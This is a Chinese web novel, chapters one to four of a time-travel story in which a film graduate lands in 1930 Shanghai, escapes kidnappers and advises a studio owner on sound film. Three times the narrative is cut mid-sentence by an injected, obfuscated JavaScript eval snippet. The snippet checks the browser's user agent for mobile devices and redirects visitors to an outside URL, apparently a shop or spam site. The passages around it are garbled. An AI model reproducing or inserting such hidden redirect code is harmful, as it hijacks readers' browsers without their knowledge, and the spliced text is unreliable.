《民国好莱坞》 1. 华侨千金 货运马车在夜奔。 如果不是手腕和脚踝处被麻绳捆绑的痛感火辣,如果不是嘴里满是尘垢的破布噎得她阵阵干呕… 周弥肯定以为自己刷招聘软件刷太久出现幻觉了。 她,电影学硕士应届毕业生,似乎穿越了。 车外两个男人声音压得很低, “……面孔蛮标致,身段也好,王妈妈肯定喜欢。调教几个月,就是棵新摇钱树。” “……稳当伐?最近风声紧,租界里……” “怕啥?洗干净,换个名字,鬼认得出来。三七开,不会亏待你。” 王妈妈。摇钱树。三七开… 周弥血液冲上头顶,老天奶!这听起来也太像青楼了。 她得自救,她可不要被卖给老鸨! 事实证明,无论“研究牲”们平日如何自嘲,体格还是与真正的牲口相差甚远,周弥常年伏案,体质羸弱,根本没有力气磨断绳索挣脱,与之相反,反而感觉麻绳越挣越紧了。 此刻她的手腕已经破了皮,手臂发酸,累的出气多进气少,偏她嘴巴还被堵住,连张嘴吸气都不行。 车厢缝隙漏进些微光,她凑着往外头看,外面一会儿是黑沉沉挤着的旧式里弄山墙,一会儿又是马路上亮得晃眼的霓虹灯牌,“大光明影院”“永安公司”的字样闪过,偶尔有路人经过,有的穿西装扎领带,有的裹着长衫。 具体年份虽不清,但看起来是栽进民国了。 “憋死了,放放水。” 外头汉子的嘟囔声刚落,马车停了。 周弥听见那人远去的脚步声,接着是淅淅沥沥的水声。 剩下的车夫哼起不成调的小曲,调子浪荡,听得头皮发麻,口中的破布终于被她顶出去,忙不迭开口, “前头……那位帅哥。” 哼曲声戛然而止。 阿勇面色黝黑,方鼻阔脸,闻言愕然回过头。 他没想到“货物”醒了,更没想到“货物”会这样说话。 周弥的眼睛在昏暗里直视着他:“你们……是要钱,对吗?卖我去那种地方,一次生意能拿多少大洋?” 阿勇眯起了眼,警惕里带着诧异和一丝被看轻的恼怒:“关你啥事?老实点!” “当然关我的事。”周弥声音更低了,“我是旧金山回来的。我爸,是中华总会馆的理事。你放了我,我能给的钱,比你们卖我十次、一百次都多。” 阿勇嗤笑一声,显然不信这套:“穿得古里古怪,身上啥也没,还侨领千金?要不是好命被我捡了,早被狼叼了。” 周弥低头看了一眼自己的穿着,轻薄款羽绒服和牛仔裤,确实在这个年代显得非常古里古怪。 可是,她并非啥也没有。 她手腕上的手表还在。 她为自己设计出一个亲切又带点高贵的笑:“我骗你干嘛?海上遇了险,钱箱子掉海里了,但我有值钱的东西能证明身份。” 说着,她竭力抬起被缚的手,露出那块某多多购入的电子表,“美国最新款,小众定制,全国找不出第二块。你去像样的当铺或外国洋行问问,开的价肯定比卖我赚得多。” 表不是纽约新款,人自然也不是华侨千金。 但她知道这年代的人怵洋人,黑发黑眼冒充不了洋人,拿华侨身份或许能唬住。 说来也巧,阿勇恰在洋行做货运调度,算个有见识的。他见过金怀表、女士腕表,却从没见过这种没指针、表盘会亮、还显阿拉伯数字的玩意儿。 这东西确实稀罕,“全国找不出第二块”或许不是假话。 车外传来同伙提裤子的窸窣声,越来越近,阿勇心中已有计较,猛一抽马,马车疾驰而去,只留同伙在后面喊骂。 周弥被惯性甩在车厢壁上,还未定神,心怦怦直跳。 她这招“恩威并施”是从权谋剧学的,既用钱财诱惑,又用华侨身份让他忌惮。 可那人收了表,却没放她走,这是什么意思? - 马蹄哒哒,马车停在福安里弄堂最里头。 弄堂窄得刚容得下马车,青石板裂着缝,积着雨后的黑污水,昏黄的路灯照得路面积水发亮。 周弥被阿勇推搡着下车,一脚踏进污水里,鞋全湿了,还顾不上嫌脏,手里已被塞进了纸笔。 “你给你父亲去封信,就说自己在国内遇上些事,急需用钱,事由根据家庭实际情况编,越真实越好。” 周弥反应过来,她激起了阿勇的贪念,才出狼穴,又入虎口。 她被勒索了。 “还不快写!”阿勇将大门反锁,回头瞪着她,样子十分急躁。 人名和地址自然都是伪造。 跨洋信件,一时半会儿也得不来消息,周弥倒也不怎么害怕,直到阿勇呲起黄牙笑里藏刀半是试探半是威胁,"你别想蒙我,我会给你爸拍电报!" 她的心跳又开始砰砰加速。 阿勇发现她骗了他,会不会撕票? 她在现生中手机里的私密相册和备忘录怎么办? 还有某博,某瓣,和某书,她都没有清空痕迹呀!早知道就攥着手机穿越了! 民国往美国拍电报,一个来回时间应该不短吧? 两三天总要有?要是能在这两三天里逃走…… "你这写的什么?这些字是什么意思?是按我说的写的吗?"阿勇拿着信纸,用手指着几个字,冲她怒目而视。 周弥正在出神,被阿勇粗声粗气一喊,手一哆嗦,笔直接从手里滑出去,咕噜咕噜滚出老远。 那时大部分人用的还是繁体字,周弥虽也认得,但是让她写,却写不出来几个,这是只认识却不熟练的缘故。 她定定神,将笔捡起来说,"你凶什么?国外华侨都写这种字,这叫简体字,现在国内知识分子也都在推行。至于内容,你可以拿出去找个有文化的瞧瞧,看看我到底是按你说的写的,还是在胡说八道。" 这话其实真一半假一半。当时教育界和文化界虽然确实在推动简体字,部分进步人士也通过报刊、学术文章了解这些简化字,但这是由内而外、由近及远的,华侨怎么可能已经提前用上了简体字。 阿勇没出过国,本就不知实情,又迷信洋人,洋货,洋文化,华侨步子迈的大,他是顶顶相信的。再说,他行的毕竟是勒索之事,哪敢把这些内容让第二个人知道,便没再言语,把信往怀中一揣,粗手粗脚地搡周弥进了一间厢房。 周弥突然想到一件非常重要的事,拍着门喊,“大哥大哥!今年是哪一年呢?” 阿勇打开门,用看傻子的眼睛上上下下地剜她,“你什么意思?” “我还没落款呢,写信,不得写上日期么?” 阿勇把信拿出来,一看落款处果然没有写日期,又把笔塞给她道,“咋的,你不知道今年是哪年?” “那有什么奇怪?国外又不用这里的纪年法。” 这话很合逻辑,阿勇也没话可说。 “十九年。”阿勇粗声粗气道。 等周弥落完笔,他哐地把门一带,周弥这才回头看这间关闭自己的房间。 这间房没有窗户,借着门缝的光,勉强能看到房间中除了一张孤零零的床,只剩墙上挂着一面钟。 这种无窗房在那时很常见,多是房东为多租钱隔出的暗间。没有光,没有风,日子在这里是凝固的。 也不知是周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001689|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弥抗压能力太好,还是太累,在这种倒霉情况下,还能一倒在床上就睡的昏天黑地。 直到外头传来一句“他妈的!”,阿勇带着怒气从门外撞进来,他攥着那只表,唾沫星子几乎要喷在周弥脸上: “洋行的人都看过了!没人收!这玩意儿谁都没见过,有价无市!” 周弥平时打交道的都是温吞的学生仔,哪里和这么凶神恶煞的人打过交道,看他那副超雄的样子,真怕他突然抬手给自己一巴掌,磕磕绊绊道: “这、这也能不怪我吧……” 阿勇背着手在屋里转圈,地板被踩得吱呀响。 他突然刹住腿,伸手指着她,眼神发狠:“你老爹疼你吧?他不会不管你吧?” 周弥看他眼神越发狠厉,眼泪差点涌出来,他若收不到汇款,难道真要撕票?她感觉自己浑身发抖,两片嘴唇抖得不像自己的,"不会,不会…" “好,那就等他寄钱过来!你最好不要骗我,否则…” 否则…否则… 周弥从小是个老实人,从没撒过谎,并不是她道德高尚,只是她似乎没有撒谎的命格,每次一撒谎就被揭穿,她就没再撒过谎。 可到了民国,刚开局就被逼着撒谎,偏这谎还眼见着要被戳破。从前被揭穿,顶破天是丢回脸、挨顿骂,可这次不一样,一着错就得搭进小命。 一想到“小命”两个字,她总算懂了民国小说里说的“打摆子”是什么滋味。 她感觉自己就快要打起摆子了。 头晕,没力气。 周弥瘫倒在床上,呆呆地望着钟表发呆,屋外阿勇和他老婆压低声音在吵架。 "你这是犯法的!" "那你给我变出钱来好了哇!我妈要治病的哇!婆婆也是妈!你还是不把我妈当成你妈!" "就算我是妈!我也不做违法的事!" "那算你妈白生了你!我妈可不白生我!" 周弥的耳朵早已贴在门口,想从二人的对话中寻到些蛛丝马迹自救。听完吵架内容,不禁感叹天无绝人之路。 既然阿勇要筹的是救命钱,那就并不单纯为了贪金,只要不是从根上坏了,那就还有的琢磨。 可她能做什么呢?她瘫在床上望着挂钟发呆。 这个钟造型很别致,别的钟都是高且窄,这样方便长长的摆钟在钟表肚子里舒展,可这个钟,四四方方,高度和宽度是一比一的,这样就显得特别笨…… “特别笨!” 周弥从床上弹起来。这个钟,她是见过的。 上个月她和室友来上海旅游,俩人特意订了间民宿,谁知网图和现实两模两样,老板看她们的表情不佳,忙解释说房间虽没有窗户,但装了新风系统,空气流通没问题的,里头摆的全是老物件,最有民国风情,最要紧的是离光华电影厂旧址近… “你们不是学电影的学生嘛!”老板强调,笑得有些意味。 当人开始兜售情怀,就应该警惕商品本身的价值了,可室友是个文青中的文青,当下便十分兴奋,不再介意货不对板,非订这间不可。 谁让光华电影厂是电影人的巡礼圣地呢。 周弥本是个随和的性子,和室友关系又不错,虽是AA,也没再发表自己的看法,只是笑着指墙上的挂钟,”你看这个钟好胖,上下左右一般粗,看起来特别显笨。” 想到这,周弥当即弹起,扣门叫阿勇。 阿勇来是来了,但一言不发,表情比刚才更加阴沉。 周弥心里已有主意,就没先前这么怯了,语气不卑不亢,表情语气都是谈判的态度,“我知道你急着用钱,跨洋汇款太慢,我有个法子,能让你立刻拿到一笔现钱。” 2. 有声电影 阿勇狐疑:“啥法子?” 周弥也不细说,招呼他拿来纸笔,又写了一封信,请他送到华光电影公司,说老板看到这封信,就会给他一千大洋。 阿勇狐疑地望望她,把信拆开检查。信中就一句话,有些字他是认识的,有些简繁不一致的字他就不认识。 “有什么什么影…是什么意思?" 周弥说:"有声电影,就是有声音的电影,说了你也不明白,你拿给陆世铮看,就是华光电影公司的老板,他明白就行。" 阿勇平时并不看电影,母亲没生病前,他的喜好是抽烟,母亲生病后,他的精力全在赚钱上,但他听说过这个公司。 老板是南洋侨领家的公子哥,家族掌控东南亚橡胶与航运,他是被家族寄予厚望的继承人,留洋回国后,未接手传统家族生意,而是说服家族拨出资金,在上海办了个电影公司,公司就在福熙路那一带,离他这弄堂,走路也就抽半支烟的功夫。 街坊间传得玄乎,说那陆老板每日西装笔挺,开的汽车比巡捕房的还亮,阿勇在洋行调度货物,偶尔听那些穿西装的职员私下嘀咕,说这位陆少爷心气高得很,要做“东方的好莱坞”。 好莱坞是啥,阿勇不知道,但他知道一千大洋不是小数目,能买多少剂救命的药。倘若这位公子哥愿意慷慨解囊,他很相信一千大洋不在话下。 只是,就凭这一句话? 从海外汇款过来,时间确实是个问题,母亲的病也不好拖得,阿勇倒也愿意一试。 既拿定主意,扬手把手里的纸撕成碎片,重新取过一张信纸,瞪着周弥:"你口述,我来写。" 那什么简笔字他一半字不识得,这次的信可是要当面送给旁人的,万一是求救信,他可要倒霉。 周弥不禁为他的谨慎竖起大拇指,心里直翻白眼。 她把刚才的内容复述了一遍,等他写完信后仔细折好塞进怀中,就准备张口讨点吃的。 谁知上下嘴唇还没分瓣,就又被搡进房间继续关禁闭。 阿勇在门外一边穿外套,一边撂了话,"我啥时候拿到钱,啥时候放你出去。" "…" 周弥倒是不慌,毕竟她心里有底。 陆世铮现在最需要什么,没人比她更了解。 1930年的上海滩,各大电影公司正陷在一场焦虑里。 大洋彼岸,好莱坞的有声片造成轰动,谁都知道,默片的时代正在死去,可中国电影要不要“开嗓”,怎么"开嗓",却意见不一。 进口的录音设备贵如黄金,洋工程师的鼻子翘到天上,技术秘诀捂得比租界的保险柜还严实。 更棘手的是,没人知道这“会说话的电影”,中国观众买不买账,会不会坏了老祖宗传下的“看戏”的规矩,会不会抵触技术附带的票价提升。 此时,上海的影坛暗流正分作三股涌动。 以瑞星电影公司为首的一派最为激越,他们高调宣告要打造“东方第一部真正有声巨制”,广告早已铺满了申报头版,声势浩大,却隐隐透出一股孤注一掷的焦灼。 与之截然相反的,是众一电影公司那批老牌势力。老板们叼着烟斗,在茶楼里慢悠悠地讲:“影戏嘛,画面动人、情节抓心才是根本。开口说话?那不成文明戏了?不伦不类,徒增成本。” 他们紧握着成熟的默片市场和观众习惯,冷眼旁观,甚至带着几分等着看笑话的讥诮。 而华光电影公司则卡在这两者之间,呈现出一种微妙的撕裂。名义上是观望,实则是公司内部两股力量在无声角力。 陆世铮无疑是柄想刺破寂静的尖刀。 他在伦敦西区的影院里,亲耳听过台词如何与管弦乐交织,掀起海啸般的掌声;在纽约的片场外,目睹过那庞大的工业机器如何高效运转,产出光与声的梦幻。 他比谁都清楚,这不只是一项技术革新,而是一种即将重新定义文化权力版图的新语言。 可华光初创,家族虽允他试水,拨出的资金却卡得极紧,更像是一种有限度的纵容,而非倾力支持。 公司里,从南洋跟来的老派经理、本地聘用的技术骨干,乃至负责管账的先生,人人脸上都写着“谨慎”二字,反对的声音虽未明说,却弥漫在每一次会议略显凝滞的空气里: "陆先生,我们还是先看看瑞星的成败吧。” "贸然投入,万一血本无归,如何交代?” 陆世铮不是独裁者,他当然可以凭身份渗透个人意志,但这违背他为人处世的观念,他不愿这样做。 他需要一个无可辩驳的论据,一剂能让所有人安下心来的“定心丸”,或者说,一个能替他撬动整个局面的“支点”。 周弥知道自己可以做这个支点。她甚至已经开始构思自己该如何闪亮登场才能把身价抬到最高。 但是…依然是一句“他妈的…" 门被粗暴地撞开,阿勇带着一身初春的寒气闯进来,脸上没有半分拿到钱的喜色,只有更深的焦躁和被戏耍的愤怒。 他几步跨到周弥面前,唾沫星子几乎溅到她脸上: “老子白跑一趟!那看门的说陆老板不在,把我搡出来了!就你这破纸条,连陆老板秘书的眼都入不了!” 他拳头攥得咯咯响,“耍我……你他妈果然耍我!” 周弥忍不住倒退数步,避开他的喷射:“不可能。你是直接给的他本人吗?” “我怎么给得到他本人?!”阿勇额上青筋暴起,“那地方规矩可多!我连他办公室的门朝哪开都不知道!” 周弥一摊手:“你软磨硬泡也好,蹲守也好,怎么给到他是你要想办法解决的事,而不是被关在这儿的我。你递给手下,怎么知道手下会不会把信送到他手里?” "你!" 阿勇的面相近乎狰狞,周弥不敢再刺激他,赶紧放缓声音安抚:“没事没事,再写一封就是了,你再送一次,这次一定要亲手递给他。” “我不去!再去也是自取其辱!我也是迷瞪眼了,竟然信你那一句话!” 僵持中,门外传来细碎的脚步声。阿勇的妻子,一个面容憔悴却眼神清亮的妇人,端着一碗稀薄的米汤,怯生生地站在门口。她小声开口: “要不,我去试试?” 阿勇猛地回头瞪她:“你去顶什么用!就等海外汇款好了,慢就慢点,我有别的门路先平账…” 妇人把米汤放在一旁斑驳的桌上,双手在洗得发白的围裙上擦了擦:“试试总不会比现在更坏。你长得凶,没准人家防备心重。我个女人家,可能好说话。” 她顿了顿,看向周弥,“总比你……做这些违法背德的事强。妈的病要治,你的路也不能走绝了。” 阿勇看着妻子那粗糙却写满担忧的脸,再听她言语间那股韧劲,胸腔里那股横冲直撞的暴戾,像被一只温柔却坚定的手轻轻按住了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001690|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底的狠厉褪去些许,浮起一层混着愧疚与温情的涩然。 他声音沙哑,抬手胡乱抹了把脸,“哼!等到天黑,等到打烊,等到明天天亮,我也等,总能找到法子把信递到他手里!” 弄堂里的光线由明转暗,邻家的炊烟味飘过来,勾得人肠子打结。 周弥只喝了一碗米粥,又馋又饿,心里开始给自己报菜名,起因在于她看过一篇小说,主人公人很穷,通过报菜名发挥自己想象的主观能动性,真就把饥饿和馋虫打败了。 "葱烧海参,九转大肠,油爆双脆……” 就在思绪漫无边际飘荡时,一股极其霸道的、混合着焦糖色酱油与油脂芬芳的肉香,丝丝缕缕地从门缝底下钻了进来。 门开了。 阿勇脸上不再是令人胆寒的凶戾,反而笼着一层近乎恍惚的、被巨大运气砸中的红光。 他手里果然提着一刀用油纸妥帖包着的五花肉,琥珀色的汤汁微微渗出,香气扑鼻,另一只手则紧紧攥着一卷用桑皮纸扎得结结实实的钞票。 “真……真给了。”阿勇看向周弥的眼神里糅杂着欣喜,敬畏和畏惧。 他嘴角扯了扯,试图挤出一个笑,却显得十分生硬,“周、周小姐……实在多谢您。您大人大量,我不是坏人,实在是让高利贷逼红了眼,差点走了歪路,多谢您救我母亲,也救我一命,您这样的贵人,见多识广,千万别跟我这样的粗胚一般见识…往后,您在这上海滩但凡有用得着我的地方,只管开口!我阿勇没大本事,但码头、货栈、弄堂里三教九流的朋友认得不少,跑跑腿、探听点消息什么的,绝没问题!我……我给您鞍前马后!" 真没想到他还会笑呢!周弥瞧着他那副极力想表现忠诚又掩不住惶恐的样子,心里觉得有些滑稽。 她大剌剌推门而出,径直走到桌边坐下。阿勇见状,将手里那包油光红亮的五花肉往妻子手中一塞,催促她快去蒸上,自己则拎起桌上的粗陶茶壶斟了半碗水,双手捧到周弥面前。 “周小姐,您喝水,喝水……之前的事,您千万海涵……” 她确实懒得与阿勇计较前事,一个被生活逼到墙角的可怜虫罢了。 更重要的是,她初来乍到,人生地不熟,眼下正缺一个熟悉本地门道、又能暂时驱使的人。这阿勇,倒是个现成的选择。 “倒真有件事要你去办,你去给我置办一身能见客的行头。料子要得体,款式要新式些。钱嘛,我先欠你的。" “哎哟!您这话可折煞我了!”阿勇把头摇得像拨浪鼓,“这一千块,足够足够了!这身行头算我孝敬您的!” 说着,他又想起什么,慌忙从怀里摸出那块电子表,双手捧着递还给周弥。刚空下手,又数出五十块亮铮铮的大洋,整整齐齐码在周弥手边的桌上,态度近乎虔诚: "周小姐,您刚回来就遭了难,身上怕是不便。这点钱您先拿着用,应应急。我阿勇虽没啥大能耐,知恩图报的道理还是懂的。” 铺垫到这一茬,阿勇终于从怀里拿出一封回函:“陆老板让我给您的……” 又搔搔头,“好像是要考您。" 周弥展开信纸,上面同样只有一句话: "支票笑纳,明日午时,请贵客于华光公司面谈,若言不符实,后果自负。” 啧,又有礼又失礼的… 她喝了口茶,气定神闲:"意料之中。不然你以为我让你置办行头,是见哪位的?" 3. 一场考校 陆世铮的办公室很有风格。 酸枝木书柜沉肃,边角却嵌着流畅的铬钢线条;明代式样的茶几上,摆着德律风根的最新款收音机;空气里雪松香与旧书卷气微妙地平衡着… 在21世纪,这种风格叫“新中式”。 周弥一直非常喜欢新中式。她穿越过来第一想做的事就是做身顶俏丽的旗袍,大大方方走上街去。 从前喜欢却不敢,因身边无人那样穿,她不爱做显眼包。如今倒好,满大街都是流动的旗袍风景线,她却因这“归国华侨”的身份,不得不套上这身崭新的西式呢子大衣。 虽是时下最摩登的样式,可惜在这旗袍的海洋里,这身摩登反而成了另一种格格不入的“显眼包”。 门被推开的声音很轻。 周弥抬眼。 陆世铮身形颀长,深灰色西装三件套的轮廓随着步履微微拂动,羊绒面料泛着温润的光泽。 他的长相是经得起端详的,鼻梁高而挺直,下颌线条干净清晰,肤色是养尊处优的匀净。最令人印象深刻的是一双眼睛,沉静明澈,透着与年龄不甚相符的稳重。 他的视线落在周弥身上,极轻地扬了下眉梢,似有一丝讶异,“贵客姓周?” “是。”周弥站起来答。 “没想到是位小姐。”他唇角弯起一个得体的弧度,伸手示意身旁的沙发,“不必客气,请坐。”随即走向宽大的红木办公桌,伸手按了桌角的电铃。 几乎同时,一位穿着素色旗袍、举止轻悄的女秘书便出现在门边。 “两杯咖啡。”他吩咐。 话刚出口,却又顿住,转头看向已落座的周弥,周到地补了一句,“周小姐远道归来,或许更想喝些家乡的茶叶?” 周弥不清楚民国有没有咖啡机,十分不想喝雀巢植脂末,马上表示了茶水就很好的意思。 陆世铮微微颔首,秘书无声退去。他并未坐在办公桌后的高背椅上,反而在周弥斜对面的单人沙发上坐了下来。 这个座位选择,消弭了居高临下的压迫感,仿佛只是两位友人清谈,但周弥心里清楚,看似平等的姿态背后依然是考校,考的是她的定力,她的见识,她是否配得上这份“平等”。 陆世铮的身体略向前倾,是一个倾听的姿态,双手自然交叠在膝上,腕间露出一截雪白的衬衫袖口和一枚简约的铂金袖扣。 “周小姐,昨日那封信,只有一句话,却让我破例付了一千大洋。”他目光沉静地落在她脸上,不锐利,却有种不容闪避的专注,“你说,对有声电影有些思考,可以解决华光眼下的难题。” 他顿了顿,给她一瞬消化这开场白的时间,才继续道: “我很有兴趣。现在,想听听你的高见。” 周弥瞧着他那副滴水不漏的端方模样,心底有点促狭的念头忽然痒痒地冒了头。她唇角微扬,勾起一个介于认真与玩笑之间的清浅弧度: “陆先生这般考校,倒让我有些忐忑了。若等会儿我说不出个一二三四五来,不知是要自负什么后果?是得把那一千大洋原样奉还,还是……得另付一笔精神损失费?您不妨先明示,我也好掂量掂量,提前做个心理建设。” 陆世铮显然没料到她会在这般正式场合,陡然抛出这样近乎俏皮的反问。 他微微一怔,随即眼底漾开一丝真实的无奈笑意,摇了摇头,“周小姐说笑了。您是位女士,我总不好再谈收回的话。那一千大洋,便当作请周小姐喝个下午茶了。” 他话锋微转,笑意里掺入一丝商人的锐利底色,半真半假道,“不过,若今日坐在这里的是位男士,或许我真要考虑追回款项,毕竟我经营公司,并非开设善堂。” 周弥眉梢几不可察地一挑。反应够快,既全了绅士风度,又不动声色地明确了利害界限。 厉害。 "既如此,那我就放心开讲了,是高见还是低见,陆先生自酌。"说完这句玩笑话,周弥敛了神色,背脊不自觉地挺直了些:“华光此刻之困,表面看是技术之障,实则是人心之涣,时势之惑。” “眼下上海影坛,对有声电影,态度无非三派。”周弥伸出三根手指,声音不疾不徐,“其一,冒进如‘瑞星’。重金购机,大造声势,视技术为奇货可居,然耗尽资财,即便青史留名,若后继乏力,徒为他人探路。” “其二,守成如‘众一’。紧抱默片江山,视新声为异端洪流,拒变革于门外。此举无异螳臂当车,不识世界潮流浩浩荡荡,终将被时代弃于岸边。” “其三,”她抬眼,目光清亮地看向陆世铮,“便是华光这般,心向潮头,身陷漩涡。陆先生留学西洋,亲见有声电影重塑文化话语之力,志在为中国影业开新声、定新调。然公司初立,资力非无限;内部众议,未能归一;更兼西洋技术壁垒高筑,洋人扼喉索价。进,起步已晚于瑞星;退,则与‘众一’同朽,雄心泯于彷徨之内,所以瞻前顾后,踟蹰难决。” 陆世铮面上那丝惯常的温和笑意早已敛去,取而代之的是深海般的专注。“那么,依周小姐之见,华光的生路,究竟在何方?这‘人心’与‘时势’,又当如何破解?” “生路在于:不争一时之先,而谋长久之基;不破他人之技,而破自身之障。瑞星欲夺‘中国第一部’之名,就让它拿去。电影非实验室奇观,乃现代工业与大众艺术之子。华光不必与它在第一上争短长,当在体系上定乾坤。” “体系?” “是的,体系。我们可以先从改良现有设备、优化工艺流程这个最实际的切入点着手。目前有声技术看似如火如荼,但其应用,还只是市场巨浪拍打岸边的第一道泡沫。现下的蜡盘录音或早期光学录音设备,收音范围极其有限,为了避免摄影机运转的轰鸣破坏录音,机器位置还要严格限制,机位调度近乎僵死。演员一旦稍稍偏离那可怜的收音焦点,声音便模糊失真,甚至彻底消失。这些技术瑕疵尚在其次,无非是效果好与不好、镜头是否要为声音妥协的问题。观众看个新奇,初期并不会苛责。 "但那些依赖默片表演体系培养出的明星,马上就要面临一场无声的换代清洗。他们的口音、声线,乃至换气的节奏,都可能成为被市场淘汰的罪名。而我们现在效仿的,正是好莱坞的明星制。明星一旦倾覆,对公司的商业根基将是何等打击,陆先生应当比我更清楚。” 说到此处,她突然笑了笑,问题轻盈地一跃:“陆先生平时看电影,有特别喜欢的好莱坞明星么?” 陆世铮没想到她如此跳脱,略微一怔,说:“卓别林,约翰·吉尔伯特。” 周弥了然中带着些许促狭:“没想到陆先生是位‘柳下惠’,欣赏的竟都是男明星。正好,就拿您喜欢的约翰·吉尔伯特来说——有个消息或许还未飘洋过海抵达上海:他的新作《他的光荣一夜》,票房与口碑双双惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001691|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 败。” 陆世铮眉头几不可察地蹙起:“我尚未看到这部新片。听说周小姐家在旧金山,想必是看过了?情况当真如此严重?还是……媒体的刻意引导?”很明显,他作为影迷,并不是很愿意接受这件事。 “电影我确实看过,后世——我是说,更冷静的分析认为,他的声音本身或许并非致命伤,问题更多在于平庸的剧本、不当的导演处理,以及米高梅公司对他的转型缺乏支持,或许也有高层刻意打压的因素。但无论真相到底如何,观众现下就是认为他的声音与那张面孔毫不相称。大量影迷因此离去,是不争的事实。与他处境相似的,还有诺玛·塔尔梅奇,维拉戈蒂·哈罗德……" "在我留洋时,他们都是好莱坞正当红的影星,周小姐的意思是,他们现在已经过气了?" "还不至于,现在属于下坡路,但走的很快的那种。"周弥很想用连滚带爬这四个字,想了想还是觉得太超过了,她并不想被别人当作可以占卜事业的女巫,树大招风,还是留些后手。 她喝口茶,继续说:"所以,陆先生可以想象,自《爵士歌王》之后,好莱坞看似乘风破浪,实则每家公司都在声浪的颠簸中挣扎。同样的问题,不久后必定也会在我们这里上演。因此,“既然‘第一’的虚名已大概率被不惜代价的瑞星抢占,华光不妨换个赛道。集中力量,先把这些必然会出现的‘软性问题’——收音、演员声线适配、成本控制、工艺流程——进行系统性优化。目标是让我们的方案成本可控、流程可复、能快速铺开。” “华光要借此契机,率先建立一套适合本土现状的有声电影制作流程与初级技术标准。谁先让同业看清‘此路可行且划算’,谁便能吸引那些既不甘守旧、又惧冒进的实力人才与中小片商,如溪流汇川,悄然成势。待瑞星耗尽财力,或许才拍出一部‘昂贵孤品’时,华光已然织就一张以‘实用、高效、可复制’为脉络的行业潜网。” “届时,”她轻声反问,“声势在谁?话语权在谁?行业人心,又向何处?” 话音落下,办公室内一片沉寂。 陆世铮许久未言。 这位周小姐所描绘的,不仅是技术蓝图,更是对行业生态的深刻洞察与精准谋略。收音范围局限、镜头语言受限这些细节,非实际操作过的行家里手决计无法空想而知,而针对默片明星更迭带来的商业问题,其洞见也超过此刻上海滩电影界绝大多数专家。 原本因她性别而生出的那点不自觉的偏见,此刻已被彻底碾碎。他目光灼灼地落在周弥沉静的脸上,声音里带着一种无法掩饰的震动与恳切: “听君一席谈,真如拨云见日。” 他顿了顿,问出了那个盘旋已久、此刻再也无法按捺的问题:“敢问周小姐如今在何处高就?是哪家厂牌或研究所的俊彦?” 周弥闻言,非但没有正色,反而眉眼一弯:“高就?陆老板太抬举我了,我啊,现在还只是个学生呢。” 学生?陆世铮眸色更深。什么样的学生能有这般老辣纵横的行业视野? “那……周小姐是在何处深造?南加州大学电影系?或是纽约的……”他迅速在脑中筛选着大洋彼岸最顶尖的艺术学府。 “嘻嘻,”周弥又笑了,这次笑声里多了点狡黠,她竖起一根手指,在唇边轻轻摇了摇,“大学嘛,我没念过。不过是机缘巧合,得了些高人指点,学了点皮毛罢了。” 4. 一些伪造 周弥记得陆世铮也在美国留过学,但这些又不是期末考试考点,她没背诵过,所以根本记不清,万一撞到一个学校一个专业,那就要露馅。 至于高人嘛,所谓圣人无名,不愿透露姓名也不是什么稀罕事,便迎着他探究的目光,笑意未减:“点拨我的师傅不愿透露身份,请陆先生见谅啦。" 周弥这样说,只是怕言多必失。但在陆世铮眼里,她的“没念过”就像林黛玉的“不曾读”,只是谦虚呢。 他更为欣赏地微笑道:“周小姐言重了。这些本就是私事,未必需要告知外人,又何谈见谅。只是…” 他话锋一转,目光诚恳,“周小姐的见识,于我、于此刻的华光而言,真如久旱逢甘霖。不知是否愿意屈就,担任华光的特别顾问?薪酬方面,必定从优,绝不让周小姐的价值被低估。” 周弥心头一热。 就在穿越的那天晚上,她还在拼命投简历找工作,但要么是说她缺乏实际行业经验,要么是说她发表的论文影响因子不够啦,总之,统统失败。 没想到现在她也是吃上信息差红利,被捧上神坛了,怪不得大家都做穿越梦呢。 一丝夹杂着讽刺与得意的热气涌上胸口,那是被认可、被渴求的满足感。然而,这热意只持续了一瞬,便被更冷静的思绪覆盖。 开心归开心,可她此刻,半点也不想“打工”了。 人或许就是这样。在求职无门、四处碰壁时,最大的渴望无非是有人能认可你的价值,方式简单到只需递出一份聘书。可当机会真的唾手可得,甚至对方求贤若渴时,证明自身价值的方式,似乎就悄然跃升了一个门槛。 “陆先生的美意我心领了。我这个人,散漫惯了,不适合这份工作。” 陆世铮确实是翩翩公子,被如此干脆地拒绝,非但没有不悦,反而温和的笑笑,“那么,不知陆某是否有这个荣幸,今晚请周小姐吃个便饭,聊表谢意?地点随周小姐定。” “吃饭也不必了。陆先生若真想谢我,不如再实际些,比如再开一张支票给我呢。” 